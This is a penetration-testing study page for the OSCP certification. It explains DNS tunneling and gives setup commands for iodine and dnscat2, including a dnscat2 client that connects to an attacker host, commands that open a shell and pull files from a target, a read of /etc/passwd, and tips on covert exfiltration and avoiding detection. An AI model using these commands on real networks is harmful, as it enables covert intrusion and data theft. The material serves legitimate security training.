Domain 5Pivoting & MetasploitCORE

DNS Tunneling Concepts

Complete guide to DNS tunneling concepts, tools (iodine, dnscat2), and practical examples for covert communication through DNS in OSCP.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#dns-tunneling#iodine#dnscat2#exfiltration#oscp

DNS Tunneling Concepts

DNS tunneling encapsulates arbitrary data inside DNS queries and responses. Since DNS (port 53) is almost never blocked by firewalls, this technique provides a covert communication channel when all other ports are restricted.

Why DNS Tunneling?

Reason Explanation
Port 53 is rarely blocked DNS is essential for network operation — blocking it breaks everything
Often allowed unencrypted Many networks allow plain DNS (UDP/TCP 53) without inspection
Hard to detect DNS traffic looks normal at first glance
Bypasses most firewalls Even strict firewalls allow DNS outbound
Covert channel Can hide data exfiltration in DNS queries

How DNS Tunneling Works

Data Encoding Process

graph LR
    A[Raw Data<br/>Binary/Text] --> B[Encode to Base32/Hex]
    B --> C[Split into Labels]
    C --> D[Create DNS Queries<br/>label.tunnel.domain.com]
    D --> E[DNS Server Decodes]
    E --> F[Reconstruct Raw Data]

Query/Response Cycle

  1. Client encodes data into DNS subdomain labels (e.g., aGVsbG8.tunnel.example.com).
  2. DNS query is sent to the attacker’s DNS server.
  3. Attacker’s DNS server decodes the data from the subdomain.
  4. Response encodes reply data in the DNS response (TXT record, CNAME, etc.).
  5. Client decodes the response data.

Label Constraints

  • Each DNS label is max 63 characters.
  • Total domain name is max 253 characters.
  • Labels are typically encoded in Base32 or hexadecimal.
  • This means each DNS query carries only a small amount of data (~30 bytes).

Tools Comparison

Tool Type Protocol Best For
iodine VPN over DNS UDP/TCP 53 Full IP tunnel through DNS
dnscat2 C2 over DNS UDP/TCP 53 Interactive shell, file transfer
dns2tcp TCP over DNS UDP 53 TCP stream through DNS
subdomain-tunneling Generic UDP 53 Simple data exfiltration

Iodine — Full IP Tunnel Over DNS

Iodine creates a TUN interface that routes all IP traffic through DNS queries. It’s the most powerful DNS tunneling tool.

Architecture

graph LR
    subgraph "Internal Network"
        B[Iodine Client<br/>Pivot]
        C[Internal Target<br/>10.10.10.10]
    end
    subgraph "Attacker"
        A[Iodine Server<br/>DNS Server]
    end
    B -->|DNS queries to tunnel.example.com| A
    A -->|DNS responses| B
    B -.->|Via TUN interface| C

Server Side (Attacker)

# Install iodine
sudo apt install iodine

# Start iodine server with password
iodined -f -c -P mypassword 10.9.0.1 tunnel.example.com

# -f    : Stay in foreground
# -c    : Allow compressed packets
# -P    : Set password
# 10.9.0.1 : VPN server IP
# tunnel.example.com : Domain for tunnel

Client Side (Pivot)

# Install iodine on pivot
sudo apt install iodine

# Connect to the tunnel
iodine -f -c -P mypassword tunnel.example.com

# This creates a tun0 interface
# Configure routing
sudo ip route add 10.10.10.0/24 dev tun0

TUN Interface Configuration

# On client after connection
ip addr show tun0
# Should show an IP in the 10.9.0.0/24 range

# Add route for internal network
sudo ip route add 10.10.10.0/24 dev tun0

# Now you can access internal hosts through DNS tunnel
ping 10.10.10.10  # Goes through DNS tunnel
curl http://10.10.10.10:80

Dnscat2 — C2 Over DNS

Dnscat2 is a command-and-control channel over DNS. It provides interactive shells and file transfer capabilities.

Architecture

graph LR
    subgraph "Attacker"
        A[Dnscat2 Server<br/>Ruby]
    end
    subgraph "Internal Network"
        B[Dnscat2 Client<br/>Ruby/Binary]
    end
    A <-->|DNS queries/responses| B

Server Setup (Attacker)

# Install Ruby and dnscat2
sudo apt install ruby ruby-dev
gem install dnscat2

# Start server with password
dnscat2 -S mypassword --dns-reverse=example.com

# Or with custom DNS server
dnscat2 --dns-domain=tunnel.example.com --dns-host=10.10.14.3

Client Connection (Pivot)

# Ruby-based client
dnscat2 10.10.14.3

# Or pre-compiled binary (no Ruby needed)
# Download from GitHub releases
./dnscat2_c 10.10.14.3

Session Management

# Inside dnscat2 server console
help              # Show available commands
sessions          # List active sessions
session -i 1      # Interact with session 1
shell             # Open interactive shell
file get /path/to/file    # Download file from target
file put local.txt /tmp/remote.txt  # Upload file to target
zlib              # Enable compression (faster)

Shell Execution

# After connecting to a session
shell

# You now have an interactive shell through DNS
whoami
ipconfig
cat /etc/passwd

Limitations

Limitation Impact Workaround
Very low bandwidth ~1-10 KB/s max Accept it — not for large transfers
High latency Each query is a round-trip Use compression (-c in iodine)
Detection risk Unusual DNS patterns Use legitimate-looking domains
Not for large transfers Too slow for files > few MB Use for shells and small data only
DNS server required Need control of DNS Use your own DNS server or dnscat2
Label length limits 63 chars per label Data is chunked automatically

When DNS Tunneling Is the Only Option

Scenario Tool
Only DNS (53) allowed outbound iodine / dnscat2
All other ports blocked iodine
Need covert C2 channel dnscat2
Data exfiltration through DNS dns2tcp / custom scripts
Firewall allows only DNS and HTTPS iodine (DNS) + ReGeorg (HTTPS)

OSCP Relevance

DNS tunneling is rarely needed in OSCP exams but good to understand:

  • Most OSCP machines allow at least one TCP port for tunneling.
  • DNS tunneling is more relevant for advanced certifications (OSWE, OSEP).
  • Know the concepts and tools in case you encounter a heavily restricted network.
  • iodine is the most practical tool if you need DNS tunneling.

OSCP Tips

  1. DNS tunneling is a last resort — try SSH, Chisel, or ReGeorg first.
  2. iodine gives you a full IP tunnel — the most versatile DNS tool.
  3. dnscat2 gives you interactive shells — good for C2 scenarios.
  4. Bandwidth is very limited — don’t try to transfer large files.
  5. You need DNS control — either your own DNS server or the target queries your DNS.

Further Reading